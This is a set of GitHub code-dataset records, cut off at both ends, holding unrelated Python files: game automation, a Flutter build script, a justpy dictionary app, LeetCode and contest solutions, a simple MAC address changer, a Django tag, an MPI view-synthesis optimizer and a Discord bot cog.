9):\n\n if self.idlegame.bs_stacks > self.STEEL_STACKS and self.status['stacked'] == False:\n logging.debug(\"stacking loop, caught stacked\")\n self.stacked()\n\n if self.bossArea:\n self.keyPress('left')\n\n if (self.idlegame.bs_stacks < self.STEEL_STACKS\n and self.status['stacking'] == False\n and self.status['reset'] == False):\n\n logging.debug(\"Main stacking loop, normal stacking (if)\")\n self.stacking()\n\n elif self.idlegame.bs_stacks > self.STEEL_STACKS and self.idlegame.finishedOfflineProgressType == 1:\n logging.debug(\"Main stacking loop, normal stacked (else)\")\n self.stacked()\n\n self.displayStatus()\n sleep(0.3)\n if self._stop_event.wait(.5):\n break\n #### end briv stacking logic\n\n self.displayStatus()\n # self.checkMem()\n\n #### break when UI sends stop event, stacking code doesn't break (yet)\n if self._stop_event.wait(.5):\n break\n\n self.clear()\n\n except Exception as e:\n print('Failure in automate loop')\n print(f'error: {e}')\n","repo_name":"ethz0/pyidle","sub_path":"idleautomate/automate/automate.py","file_name":"automate.py","file_ext":"py","file_size_in_byte":19463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74325402723","text":"# 如何运行这个脚本\n# 1. 将这个脚本放到Flutter项目根目录\n# 2. 在Flutter项目根目录创建一个apk_config.json文件\n# 3. 在apk_config.json文件中写入如下内容\n# {\n# \"exportPath\": \"/Users/xxx/Desktop\"\n# \"projectPath\": \"/Users/xxx/Desktop/FlutterProject/flutter_app\",\n# }\n# 4. 在终端中执行 python3 build_apk.py\n# 5. 等待打包完成,apk会导出到电脑桌面\n \n\n# 实现一个flutter apk的打包脚本\n# 1. 读取配置文件\n# 2. 执行打包命令\n# 4. 导出apk并且根据当前代码分支+时间重命名\n# 5. 保存apk到电脑桌面\n \nimport os\nimport sys\nimport time\nimport json\nimport shutil\nimport subprocess\n\n# 读取配置文件\ndef readConfig():\n with open(\"/Users/carlxu/Documents/AppProject/carl_script_tool/buildApk/apk_config.json\", \"r\") as f:\n config = json.load(f)\n return config\n\n# 执行flutter clean 和 flutter pub get\ndef flutterCleanAndPubGet(config):\n # 进入Flutter项目根目录\n os.chdir(config[\"projectPath\"])\n # 执行flutter clean\n subprocess.call(\"flutter clean\", shell=True)\n # 执行flutter pub get\n subprocess.call(\"flutter pub get\", shell=True)\n\n# 执行打包命令\ndef buildApk(config):\n \n # 打包命令\n command = \"flutter build apk\"\n # 执行打包命令\n subprocess.call(command, shell=True)\n # 获取当前代码分支\n branch = subprocess.check_output(\"git rev-parse --abbrev-ref HEAD\", shell=True).decode(\"utf-8\").strip()\n # 获取当前时间\n now = time.strftime(\"%Y%m%d%H%M%S\", time.localtime())\n # 重命名apk\n apkName = branch + \"_\" + now + \".apk\"\n # 重命名apk\n shutil.move(\"build/app/outputs/flutter-apk/app-release.apk\", \"build/app/outputs/flutter-apk/\" + apkName)\n # 导出apk到电脑桌面\n shutil.copy(\"build/app/outputs/flutter-apk/\" + apkName, config[\"exportPath\"] + \"/\" + apkName)\n\nif __name__ == \"__main__\":\n # 读取配置文件\n config = readConfig()\n \n # 执行flutter clean 和 flutter pub get\n flutterCleanAndPubGet(config);\n \n # 执行打包命令\n buildApk(config)\n\n\n","repo_name":"Carl-XuChao/carl_script_tool","sub_path":"buildApk/build_apk.py","file_name":"build_apk.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11820361733","text":"import justpy as jp\n\nimport defintion\nimport requests\n\n\nclass Dictionary:\n path = \"/dictionary\"\n @classmethod\n def serve(cls,req):\n wp = jp.QuasarPage(tailwind=True)\n wp = jp.QuasarPage(tailwind=True)\n layout = jp.QLayout(a=wp, view=\"hHh lpR fFf\")\n header = jp.QHeader(a=layout)\n toolbar = jp.QToolbar(a=header)\n\n # drawer and the links\n drawer = jp.QDrawer(a=layout, show_if_above=True, v_model=\"leftDrawerOpen\", side=\"left\", bordered=True)\n scroller = jp.QScrollArea(a=drawer, classes=\"fit\")\n scrolllist = jp.QList(a=scroller)\n a_classes = \"p-4 m-3 text-lg text-blue-400 hover:text-blue-700\"\n jp.A(a=scrolllist, text=\"Home\", href=\"/\", classes=a_classes)\n jp.Br(a=scrolllist)\n jp.A(a=scrolllist, text=\"Search for a word\", href=\"/dictionary\", classes=a_classes)\n jp.Br(a=scrolllist)\n jp.A(a=scrolllist, text=\"About me\", href=\"/about\", classes=a_classes)\n jp.Br(a=scrolllist)\n\n # toolbar\n jp.QBtn(a=toolbar, dense=True, flat=\"True\", round=True, icon=\"menu\", click=cls.move_drawer, drawer=drawer)\n toolbartitle = jp.QToolbarTitle(a=toolbar)\n jp.QAvatar(a=toolbartitle, src=\"https://cdn.quasar.dev/logo-v2/svg/logo-mono-white.svg\")\n\n Qpagecontainer = jp.QPageContainer(a=layout)\n div = jp.Div(a=Qpagecontainer,classes = \"bg-blue-400 h-screen\")\n jp.Div(a=div,text=\"Instant Dictionary app\",classes = \"text-4xl m-2 p-4\")\n\n jp.Div(a=div,text=\"Get the definiton of any English word instantly as you type\",classes='text-lg')\n input_div = jp.Div(a=div, classes=\"grid grid-cols-2\")\n outputdiv = jp.Div(a=input_div, text=\"content goes here ...\",\n classes=\"m-2 p-2 text-lg border-2 border-grey-300 h-40 rounded\")\n Inputbox = jp.Input(a=div, placeholder=\"Type in a word here..\",\n classes=\"m-2 bg-gray-100 border-2 border-gray-200 rounded focus:bg-white focus:outline:none focus:border-green-500 \"\n \"py-2 px-4 rounded\", output_div=outputdiv)\n Inputbox.on('input', cls.get_definiton)\n # jp.Button(a=input_div, text=\"Get Definition\",classes = \"border-2 border-gray-400 text-gray-500 rounded\",inp = Input,click=cls.get_definiton,output_div = outputdiv)\n return wp\n\n @staticmethod\n def get_definiton(widget,msg):\n req = requests.get(f\"http://127.0.0.1:8003/api?word={widget.value}\")\n data = req.json()\n\n widget.output_div.text= \" \".join(data['definition'])\n\n @staticmethod\n def move_drawer(widget, msg):\n if widget.drawer.value:\n widget.drawer.value = False\n else:\n widget.drawer.value = True\n\n\n\n\n #request handler and event handlers\n","repo_name":"Nagendramanthena/justpy","sub_path":"webapp/dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":2796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21936693091","text":"# Some constant we will use\r\noo = 1000000000\r\ndr = [-1,-1,-1,0,0,1,1,1]\r\ndc = [-1,0,1,-1,1,-1,0,1]\r\n\r\n# Read in number of cases and loop over them\r\ntestcases = int(input())\r\nfor testcase in range(1,testcases+1):\r\n # Read in case\r\n N = int(input())\r\n mat = []\r\n order = []\r\n for i in range(0,8):\r\n mat.extend(map(int,input().split()))\r\n for i in range(0,64):\r\n order.append((mat[i],i))\r\n\r\n # Sort them\r\n order.sort()\r\n\r\n # Search looking for answer\r\n best = oo\r\n predepth = 6\r\n pre = []\r\n for i in range(0,64):\r\n for j in range(0,predepth):\r\n prebest = oo\r\n\r\n def dfs3(idx, h, sum, mask):\r\n global prebest\r\n if(h>mat[idx]):\r\n return\r\n nextsum = sum + mat[idx]-h\r\n if(h==0):\r\n prebest = min(prebest,nextsum)\r\n return\r\n for i in range(0,8):\r\n r = (idx>>3)+dr[i]\r\n c = (idx&7)+dc[i]\r\n temp = r*8+c\r\n if(r<0 or r>=8 or c < 0 or c>=8 or ((mask)&(1<mat[idx] or sum > best):\r\n return\r\n nextsum = sum + mat[idx]-h\r\n if(h==0):\r\n best = min(best,nextsum)\r\n return\r\n if(h=best):\r\n return\r\n for i in range(0,8):\r\n r = (idx>>3)+dr[i]\r\n c = (idx&7)+dc[i]\r\n temp = r*8+c\r\n if(r<0 or r>=8 or c<0 or c>=8 or ((mask)&(1< List[List[int]]:\n def gotoNextLevel(node, level, values):\n if not node:\n return values\n if len(values) <= level:\n values.append(deque([node.val]))\n else:\n if level % 2:\n values[level].appendleft(node.val)\n else:\n values[level].append(node.val)\n \n gotoNextLevel(node.left, level + 1, values) \n gotoNextLevel(node.right, level + 1, values) \n return values\n \n return gotoNextLevel(root, 0, [])","repo_name":"Haymanot-Demis/A2SV-Problems","sub_path":"binary-tree-zigzag-level-order-traversal.py","file_name":"binary-tree-zigzag-level-order-traversal.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39910245512","text":"#!/usr/bin/env python3\n\"\"\"\n macchanger: Simple MAC Address Changer\n Author: Yusef Karim\n\"\"\"\nfrom os import getuid\nfrom sys import exit, argv\nfrom re import match, search\nfrom subprocess import call, check_output\n\ndef change_mac(interface, new_mac_addr):\n if(call(['ip', 'link', 'set', interface, 'down']) != 0):\n exit(1)\n elif(call(['ip', 'link', 'set', interface, 'address', new_mac_addr]) != 0):\n exit(2)\n elif(call(['ip', 'link', 'set', interface, 'up']) != 0):\n exit(3)\n else:\n addr_output = check_output(['ip', 'addr', 'show', interface]).decode('ascii')\n curr_mac = search(\"(?:[0-9a-fA-F]:?){12}\", addr_output).group(0)\n if(curr_mac == new_mac_addr):\n print(\"[+] MAC Address of {} changed to {}\".format(interface, new_mac_addr))\n else:\n print(\"[-] Changing the MAC Address of {} FAILED!\".format(interface))\n\n\nif __name__ == \"__main__\":\n if(getuid() != 0):\n print(\"[-] This program must be run as root\")\n exit(1)\n elif(len(argv) != 3):\n print(\"[-] Invalid number of arguments\\n\"\n \"[+] USAGE: {} \".format(__file__))\n exit(2)\n elif(not match(\"(?:[0-9a-fA-F]:?){12}$\", argv[2])):\n print(\"[-] Invalid MAC Address, fix it you idiot\")\n exit(3)\n else:\n change_mac(argv[1], argv[2])\n\n","repo_name":"yusefkarim/hacking-tools","sub_path":"macchanger.py","file_name":"macchanger.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4848328211","text":"from django import template\nfrom django.contrib.auth.decorators import login_required\nfrom accounts.models import Person\nfrom django.contrib.auth.models import User\nfrom mainapp.models import Tank,Tanktype1,Tank_calibration_excel\n\n\nregister = template.Library()\n# This tag is used for tank information for user and main page for tank exibition\n\n\n@register.simple_tag(takes_context=True)\ndef user_tank_station(context):\n request = context['request']\n user=request.user\n # person_information=Person.objects.get(person_name=user.id)\n # user_tank=Tank.objects.filter(stationid=person_information.person_station_id)\n # user_new_tank=Tank_calibration_excel.objects.filter(station_name=person_information.person_station)\n # user_tank.append(user_new_tank)\n\n try:\n person_information=Person.objects.get(person_name=user.id)\n user_tank=Tank.objects.filter(stationid=person_information.person_station_id)\n if Tank_calibration_excel.objects.filter(station_name=person_information.person_station).exists():\n user_new_tank=Tank_calibration_excel.objects.filter(station_name=person_information.person_station)\n else:\n user_new_tank={'#'}\n\n tagcontext={'person_information':person_information,'user_tank':user_tank,'user_new_tank':user_new_tank\n }\n except:\n user_tank=\"user not define\"\n tagcontext={\"no\",}\n return tagcontext\n\n","repo_name":"cheetah2170/djangosqlserver","sub_path":"mainapp/templatetags/mainapp_tags.py","file_name":"mainapp_tags.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10851141288","text":"import configargparse\nimport datetime\nimport torch.optim.optimizer\nfrom torch.utils.tensorboard import SummaryWriter\nfrom utils.render import renderNovelView\nfrom utils.utils import *\nfrom models.mpi_generator import MPIGenerator\nfrom models.feature_generator import FeatureGenerator\nfrom datasets import find_scenedata_def\nfrom models.losses import *\nimport lpips\nimport shutil\n\n\nclass OptimizePerScene():\n def __init__(self, model, ckpt_filepath, neighbor_view_num, depth_sample_num, epochs, learning_rate, lr_ds_epoch_idx, loss_rgb_weight, loss_ssim_weight, loss_lpips_weight,\n summary_scalars_freq, summary_images_freq, save_ckpt_freq, device):\n self.feature_generator = model[\"feature_generator\"].to(device)\n self.mpi_generator = model[\"mpi_generator\"].to(device)\n self.load_ckpt(ckpt_filepath)\n\n self.neighbor_view_num = neighbor_view_num\n self.depth_sample_num = depth_sample_num\n self.epochs = epochs\n self.device = device\n\n # optimizer setting\n self.optimizer = torch.optim.Adam(self.mpi_generator.parameters(), lr=learning_rate, betas=(0.9, 0.999))\n milestones = [int(epoch_idx) for epoch_idx in lr_ds_epoch_idx.split(':')[0].split(',')]\n lr_gamma = 1 / float(lr_ds_epoch_idx.split(':')[1])\n self.lr_scheduler = torch.optim.lr_scheduler.MultiStepLR(self.optimizer, milestones, gamma=lr_gamma, last_epoch=-1)\n\n self.loss_rgb_weight = loss_rgb_weight\n self.loss_ssim_weight = loss_ssim_weight\n self.loss_lpips_weight = loss_lpips_weight\n\n self.summary_scalars_freq = summary_scalars_freq\n self.summary_images_freq = summary_images_freq\n self.save_ckpt_freq = save_ckpt_freq\n\n # loss calculater definition\n self.ssim_calculator = SSIM()\n self.lpips_calculator = lpips.LPIPS(net=\"vgg\").to(device)\n self.lpips_calculator.requires_grad = True\n\n def load_ckpt(self, ckpt_filepath):\n state_dict = torch.load(ckpt_filepath)\n self.feature_generator.load_state_dict(state_dict[\"feature_generator\"])\n self.mpi_generator.load_state_dict(state_dict[\"mpi_generator\"])\n\n def set_data(self, scene_data):\n if self.device == torch.device(\"cuda\"):\n scene_data = dict2cuda(scene_data)\n self.image_ref = scene_data[\"image_ref\"]\n self.depth_min_ref, self.depth_max_ref = scene_data[\"depth_min_ref\"], scene_data[\"depth_max_ref\"]\n self.K_ref = scene_data[\"K_ref\"]\n self.E_ref = scene_data[\"E_ref\"]\n self.depth_ref = scene_data[\"depth_ref\"]\n self.images_tgt = scene_data[\"images_tgt\"]\n self.Ks_tgt, self.Ts_tgt_ref = scene_data[\"Ks_tgt\"], scene_data[\"Ts_tgt_ref\"] # [B, N, 3 ,3], [B, N, 4, 4]\n self.height, self.width = self.image_ref.shape[2], self.image_ref.shape[3]\n\n def optimize(self, scene_data, logdir, neighbor_view_indices):\n logger = SummaryWriter(logdir)\n self.set_data(scene_data)\n with torch.no_grad():\n conv1_out, block1_out, block2_out, block3_out, block4_out = self.feature_generator(self.image_ref)\n\n self.mpi_generator.train()\n for epoch_idx in range(self.epochs):\n # network forward, generate mpi representations\n summary_scalars_epoch = ScalarDictMerge()\n summary_images_epoch = {}\n for neighbor_image_idx in neighbor_view_indices:\n mpi_outputs = self.mpi_generator(input_features=[conv1_out, block1_out, block2_out, block3_out, block4_out], depth_sample_num=self.depth_sample_num)\n rgb_mpi_ref_dict = {\n \"scale_0\": mpi_outputs[\"MPI_{}\".format(0)][:, :, :3, :, :],\n \"scale_1\": mpi_outputs[\"MPI_{}\".format(1)][:, :, :3, :, :],\n \"scale_2\": mpi_outputs[\"MPI_{}\".format(2)][:, :, :3, :, :],\n \"scale_3\": mpi_outputs[\"MPI_{}\".format(3)][:, :, :3, :, :],\n }\n sigma_mpi_ref_dict = {\n \"scale_0\": mpi_outputs[\"MPI_{}\".format(0)][:, :, 3:, :, :],\n \"scale_1\": mpi_outputs[\"MPI_{}\".format(1)][:, :, 3:, :, :],\n \"scale_2\": mpi_outputs[\"MPI_{}\".format(2)][:, :, 3:, :, :],\n \"scale_3\": mpi_outputs[\"MPI_{}\".format(3)][:, :, 3:, :, :],\n }\n summary_scalars, summary_images = self.optimize_per_image(rgb_mpi_ref_dict, sigma_mpi_ref_dict, neighbor_image_idx)\n\n summary_scalars_epoch.update(summary_scalars)\n if neighbor_image_idx == 0:\n summary_images_epoch = summary_images\n\n if (epoch_idx+1) % self.summary_scalars_freq == 0:\n save_scalars(logger, \"Optimize\", summary_scalars_epoch.mean(), epoch_idx+1) # scalars for random sampled tgt-view image\n if (epoch_idx+1) % self.summary_images_freq == 0:\n for scale in range(4):\n save_images(logger, \"Optimize_scale_{}\".format(scale), summary_images_epoch[\"scale_{}\".format(scale)], epoch_idx+1) # summary images for random sampled tgt-image\n\n print(\"Optimize, Epoch:{}/{}, loss:{:.4f}\".format(epoch_idx, self.epochs, summary_scalars_epoch.mean()[\"loss\"]))\n\n if (epoch_idx+1) % self.save_ckpt_freq == 0:\n torch.save({\n \"epoch\": epoch_idx,\n \"feature_generator\": self.feature_generator.state_dict(),\n \"mpi_generator\": self.mpi_generator.state_dict(),\n \"optimizer\": self.optimizer.state_dict(),},\n \"{}/mpimodel_{:0>4}.ckpt\".format(logdir, epoch_idx))\n self.lr_scheduler.step()\n\n def optimize_per_image(self, rgb_mpi_ref_dict, sigma_mpi_ref_dict, neighbor_image_idx):\n with torch.no_grad():\n T_ref_ref = torch.tensor([[1.0, 0.0, 0.0, 0.0], [0.0, 1.0, 0.0, 0.0], [0.0, 0.0, 1.0, 0.0], [0.0, 0.0, 0.0, 1.0]],dtype=torch.float32, device=self.device).unsqueeze(0).repeat(1, 1, 1)\n T_tgt_ref = self.Ts_tgt_ref[:, neighbor_image_idx, :, :]\n\n summary_scalars, summary_images = {}, {}\n loss_per_image, loss_rgb_per_image, loss_ssim_per_image, loss_lpips_per_image = 0.0, 0.0, 0.0, 0.0\n for scale in range(4):\n with torch.no_grad():\n # rescale intrinsics for ref-view, tgt-views\n K_ref_scaled = self.K_ref / (2 ** scale)\n K_ref_scaled[:, 2, 2] = 1\n K_tgt_scaled = self.Ks_tgt[:, neighbor_image_idx, :, :] / (2 ** scale)\n K_tgt_scaled[:, 2, 2] = 1 # [B, 3, 3]\n height_render, width_render = self.height // 2 ** scale, self.width // 2 ** scale\n # rescale image_ref, depth_ref, images_tgt\n image_ref = F.interpolate(self.image_ref, size=(height_render, width_render), mode=\"bilinear\") # [B, 3, H//scale, W//scale]\n depth_ref = F.interpolate(self.depth_ref.unsqueeze(1), size=(height_render, width_render), mode=\"nearest\") # Not for loss, for monitor depth MAE\n image_tgt = F.interpolate(self.images_tgt[:, neighbor_image_idx, :, :, :], size=(height_render, width_render), mode=\"bilinear\") # [B, 3, H//scale, W//scale]\n\n # render ref-view syn image\n ref_rgb_syn, ref_depth_syn, ref_mask = renderNovelView(\n rbg_MPI_ref=rgb_mpi_ref_dict[\"scale_{}\".format(scale)],\n sigma_MPI_ref=sigma_mpi_ref_dict[\"scale_{}\".format(scale)],\n depth_min_ref=self.depth_min_ref,\n depth_max_ref=self.depth_max_ref,\n depth_hypothesis_num=self.depth_sample_num,\n T_tgt_ref=T_ref_ref,\n K_ref=K_ref_scaled,\n K_tgt=K_ref_scaled,\n height_render=height_render,\n width_render=width_render,\n )\n\n tgt_rgb_syn, tgt_depth_syn, tgt_mask = renderNovelView(\n rbg_MPI_ref=rgb_mpi_ref_dict[\"scale_{}\".format(scale)],\n sigma_MPI_ref=sigma_mpi_ref_dict[\"scale_{}\".format(scale)],\n depth_min_ref=self.depth_min_ref,\n depth_max_ref=self.depth_max_ref,\n depth_hypothesis_num=self.depth_sample_num,\n T_tgt_ref=T_tgt_ref,\n K_ref=K_ref_scaled,\n K_tgt=K_tgt_scaled,\n height_render=height_render,\n width_render=width_render,\n )\n\n loss_rgb = loss_fcn_rgb_L1(tgt_rgb_syn, tgt_mask, image_tgt) * self.loss_rgb_weight\n loss_ssim = loss_fcn_rgb_SSIM(self.ssim_calculator, tgt_rgb_syn, tgt_mask, image_tgt) * self.loss_ssim_weight\n loss_lpips = loss_fcn_rgb_lpips(self.lpips_calculator, tgt_rgb_syn, tgt_mask, image_tgt) * self.loss_lpips_weight\n loss = loss_rgb + loss_ssim + loss_lpips\n\n loss_rgb_per_image = loss_rgb_per_image + loss_rgb\n loss_ssim_per_image = loss_ssim_per_image + loss_ssim\n loss_lpips_per_image = loss_lpips_per_image + loss_lpips\n loss_per_image = loss_per_image + loss\n\n with torch.no_grad():\n summary_images[\"scale_{}\".format(scale)] = {\n \"ref_image\": image_ref,\n \"ref_rgb_syn\": ref_rgb_syn,\n \"tgt_rgb_syn\": tgt_rgb_syn,\n \"ref_depth_syn\": ref_depth_syn,\n \"ref_depth\": depth_ref,\n \"ref_depth_diff\": torch.abs(depth_ref - ref_depth_syn),\n \"tgt_mask\": tgt_mask\n }\n\n self.optimizer.zero_grad()\n loss_per_image.backward()\n self.optimizer.step()\n\n with torch.no_grad():\n summary_scalars = {\n \"loss\": loss_per_image.item(),\n \"loss_rgb\": loss_rgb_per_image.item(),\n \"loss_ssim\": loss_ssim_per_image.item(),\n \"loss_lpips\": loss_lpips_per_image.item(),\n # \"depth_MAE\": torch.mean(torch.abs(summary_images[\"scale_0\"][\"ref_depth_syn\"] - summary_images[\"scale_0\"][\"ref_depth\"]))\n }\n\n return summary_scalars, summary_images\n\n\nif __name__ == '__main__':\n parser = configargparse.ArgumentParser(description=\"Per Scene Optimization\")\n parser.add_argument('--config', is_config_file=True, help='config file path')\n # data parameters\n parser.add_argument(\"--dataset\", type=str, default=\"levir_nvs\", help=\"select dataset\")\n parser.add_argument(\"--dataset_dirpath\", type=str, default=r\"D:\\Datasets\\LEVIR_NVS\", help=\"dataset directory path\")\n parser.add_argument(\"--scene_id\", type=str, default=\"scene_005\", help=\"scene id in LEVIR-NVS\")\n parser.add_argument(\"--sample_id\", type=str, default=\"000\", help=\"sample id in LEVIR-NVS per scene\")\n # optimization parameters\n parser.add_argument(\"--epochs\", type=int, default=500, help=\"optimization epoch number\")\n parser.add_argument(\"--learning_rate\", type=float, default=0.001, help=\"learning rate\")\n parser.add_argument(\"--lr_ds_epoch_idx\", type=str, default=\"50,100,200,300,400:2\", help=\"epoch ids to downscale lr and the downscale rate\")\n parser.add_argument(\"--ckpt_filepath\", type=str, default=\"./checkpoints/ASI_prior.ckpt\",\n help=\"load a specific checkpoint\")\n # log writer and random seed parameters\n parser.add_argument(\"--logdir\", type=str, default=\"./checkpoints/optimization/{}_{}\", help=\"the directory to save optimize logs, tensorboard event log\")\n parser.add_argument(\"--summary_scalars_freq\", type=int, default=1, help=\"save summary scalar frequency\")\n parser.add_argument(\"--summary_images_freq\", type=int, default=10, help=\"save summary images frequency\")\n parser.add_argument(\"--save_ckpt_freq\", type=int, default=1, help=\"save checkpoint frequency, 1 means per epoch\")\n parser.add_argument(\"--seed\", type=int, default=23, metavar=\"S\", help=\"random seed, ensure training can recurrence\")\n # model parameters\n parser.add_argument(\"--depth_sample_num\", type=int, default=32, help=\"depth sample number in decoder\")\n parser.add_argument(\"--feature_generator_model_type\", type=str, default=\"resnet18\", help=\"feature generator model type\")\n parser.add_argument(\"--neighbor_view_num\", type=int, default=20, help=\"neighbor view number\")\n # loss weights\n parser.add_argument(\"--loss_rgb_weight\", type=float, default=2.0, help=\"loss rgb weight\")\n parser.add_argument(\"--loss_ssim_weight\", type=float, default=1.0, help=\"loss depth weight\")\n parser.add_argument(\"--loss_lpips_weight\", type=float, default=1.0, help=\"loss depth weight\")\n\n args = parser.parse_args()\n print_args(args)\n # fix random seed\n torch.manual_seed(args.seed)\n torch.cuda.manual_seed(args.seed)\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n SceneData = find_scenedata_def(args.dataset)\n # model, decoder optimizer definition and load init network ckpt\n feature_generator = FeatureGenerator(model_type=args.feature_generator_model_type, pretrained=True, device=device).to(device)\n mpi_generator = MPIGenerator(feature_out_chs=feature_generator.encoder_channels).to(device)\n model = {\"feature_generator\": feature_generator, \"mpi_generator\": mpi_generator}\n\n scene_optimizer = OptimizePerScene(\n model=model,\n ckpt_filepath=args.ckpt_filepath,\n neighbor_view_num=args.neighbor_view_num,\n depth_sample_num=args.depth_sample_num,\n epochs=args.epochs,\n learning_rate=args.learning_rate,\n lr_ds_epoch_idx=args.lr_ds_epoch_idx,\n loss_rgb_weight=args.loss_rgb_weight,\n loss_ssim_weight=args.loss_ssim_weight,\n loss_lpips_weight=args.loss_lpips_weight,\n summary_scalars_freq=args.summary_scalars_freq,\n summary_images_freq=args.summary_images_freq,\n save_ckpt_freq=args.save_ckpt_freq,\n device=device\n )\n\n # Optimization\n current_time = str(datetime.datetime.now().strftime('%Y.%m.%d_%H:%M:%S'))\n print(\"Start time: \", current_time)\n\n scene_data = SceneData(args.dataset_dirpath, args.scene_id, args.sample_id, neighbor_view_num=args.neighbor_view_num).loadSceneData()\n neighbor_view_indices = list(range(0, 20, 2)) # training view indices\n logdir = args.logdir.format(scene_data[\"scene_id\"], scene_data[\"sample_id\"])\n # copy optimization config files\n shutil.copy(args.config, os.path.join(logdir, \"config.txt\"))\n scene_optimizer.optimize(scene_data, logdir, neighbor_view_indices)\n\n current_time = str(datetime.datetime.now().strftime('%Y.%m.%d_%H:%M:%S'))\n print(\"End time: \", current_time)\n","repo_name":"SunshineWYC/ImMPI","sub_path":"optimize.py","file_name":"optimize.py","file_ext":"py","file_size_in_byte":14654,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"54"} +{"seq_id":"24724923949","text":"from discord import Embed,Guild,Permissions,Member\nfrom discord.commands import SlashCommandGroup\nfrom utils.tyrantlib import ApplicationContext\nfrom datetime import datetime,time as dtime\nfrom utils.classes import MakeshiftClass\nfrom utils.tyrantlib import dev_banned\nfrom discord.ext.commands import Cog\nfrom discord.errors import NotFound\nfrom discord.ext.tasks import loop\nfrom client import Client\nfrom random import choice\n\n\nclass talking_stick_commands(Cog):\n\tdef __init__(self,client:Client) -> None:\n\t\tself.client = client\n\t\tself.talking_stick_loop.start()\n\n\tstick = SlashCommandGroup('stick','talking stick commands')\n\n\tasync def check(self,ctx:ApplicationContext) -> bool:\n\t\tif not await self.client.db.guild(ctx.guild.id).config.talking_stick.enabled.read():\n\t\t\tawait ctx.response.send_message('the talking stick is not enabled on this server. enable it with /config',ephemeral=await self.client.hide(ctx))\n\t\t\treturn False\n\t\treturn True\n\n\t@stick.command(\n\t\tname='reroll',\n\t\tdescription='force reroll the talking stick',\n\t\tguild_only=True,default_member_permissions=Permissions(manage_guild=True,manage_roles=True))\n\t@dev_banned()\n\tasync def slash_stick_reroll(self,ctx:ApplicationContext) -> None:\n\t\tif not await self.check(ctx): return\n\t\tawait ctx.defer(ephemeral=await self.client.hide(ctx))\n\t\tawait self.roll_talking_stick(ctx.guild)\n\t\tawait ctx.followup.send('reroll successful',ephemeral=await self.client.hide(ctx))\n\n\t@stick.command(\n\t\tname='active',\n\t\tdescription='list daily active members')\n\tasync def slash_stick_active(self,ctx:ApplicationContext) -> None:\n\t\tif not await self.check(ctx): return\n\t\tawait ctx.defer(ephemeral=await self.client.hide(ctx))\n\t\toutput,nl = [],'\\n'\n\n\t\tfor id in await self.client.db.guild(ctx.guild.id).data.talking_stick.active.read():\n\t\t\tline = f'{await self.client.db.user(int(id)).username.read()}'\n\t\t\tif len(f'{nl.join(output)}\\n{line}') > 1980: break\n\t\t\toutput.append(line)\n\n\t\tawait ctx.followup.send(\n\t\t\tembed=Embed(\n\t\t\t\ttitle='Talking Stick Leaderboard:',\n\t\t\t\tdescription=nl.join(output),\n\t\t\t\tcolor=await self.client.embed_color(ctx)),\n\t\t\tephemeral=await self.client.hide(ctx))\n\n\tasync def roll_talking_stick(self,guild:Guild) -> None:\n\t\tguild_data = await self.client.db.guild(guild.id).read()\n\t\trole = guild.get_role(guild_data.get('config',{}).get('talking_stick',{}).get('role'))\n\t\tactive_members = guild_data.get('data',{}).get('talking_stick',{}).get('active')\n\t\told_stick = guild_data.get('data',{}).get('talking_stick',{}).get('current_stick',None)\n\t\tif len(active_members) == 0: return\n\t\tfor attempt in range(15):\n\t\t\trand:Member = choice(active_members)\n\t\t\t# continue if repeat user\n\t\t\tif old_stick == rand: continue\n\t\t\tif not await self.client.db.user(rand).config.general.talking_stick.read(): continue\n\t\t\ttry: member = await guild.fetch_member(rand)\n\t\t\texcept NotFound: continue\n\t\t\tif member.bot: continue\n\t\t\tbreak\n\t\telse: return\n\n\t\tfor old_member in role.members: await old_member.remove_roles(role)\n\t\tawait member.add_roles(role)\n\t\tawait self.client.db.guild(guild.id).data.talking_stick.current_stick.write(rand)\n\t\tawait self.client.db.guild(guild.id).data.leaderboards.sticks.inc(1,[str(rand)])\n\t\tawait self.client.db.guild(guild.id).data.talking_stick.active.write([])\n\n\t\tawait (guild.get_channel(guild_data.get('config',{}).get('talking_stick',{}).get('channel'))).send(\n\t\t\tf'congrats {member.mention} you have the talking stick.',\n\t\t\tembed=Embed(\n\t\t\t\ttitle=f'chances: 1/{len(active_members)}',\n\t\t\t\tdescription='\\n'.join([f'<@!{member_id}>' if member_id != rand else f'>>><@!{member_id}><<<' for member_id in active_members]),\n\t\t\t\tcolor=await self.client.embed_color(MakeshiftClass(guild=guild))))\n\n\t\tawait self.client.log.talking_stick(MakeshiftClass(guild=guild,user=member))\n\n\t@loop(time=dtime(9,0,tzinfo=datetime.now().astimezone().tzinfo))\n\tasync def talking_stick_loop(self) -> None:\n\t\tfor guild in self.client.guilds:\n\t\t\ttry:\n\t\t\t\tdata = await self.client.db.guild(guild.id).config.talking_stick.read()\n\t\t\t\tif not data['enabled'] or not data['role'] or not data['channel']: continue\n\t\t\t\tawait self.roll_talking_stick(guild)\n\t\t\texcept Exception as error:\n\t\t\t\tcontinue\n\ndef setup(client:Client) -> None:\n\tclient._extloaded()\n\tclient.add_cog(talking_stick_commands(client))","repo_name":"TyrantLink/regnal","sub_path":"extensions/talking_stick.py","file_name":"talking_stick.py","file_ext":"py","file_size_in_byte":4251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"26951221748","text":"import cocos\r\nfrom pyglet.window import key\r\nfrom cocos.actions import*\r\nfrom cocos.director import director\r\nimport random\r\nimport cocos.collision_model as cm\r\nimport cocos.euclid as eu\r\n\r\n\r\nclass GameOver(cocos.layer.Layer):\r\n def __init__(self):\r\n super( GameOver, self ).__init__()\r\n 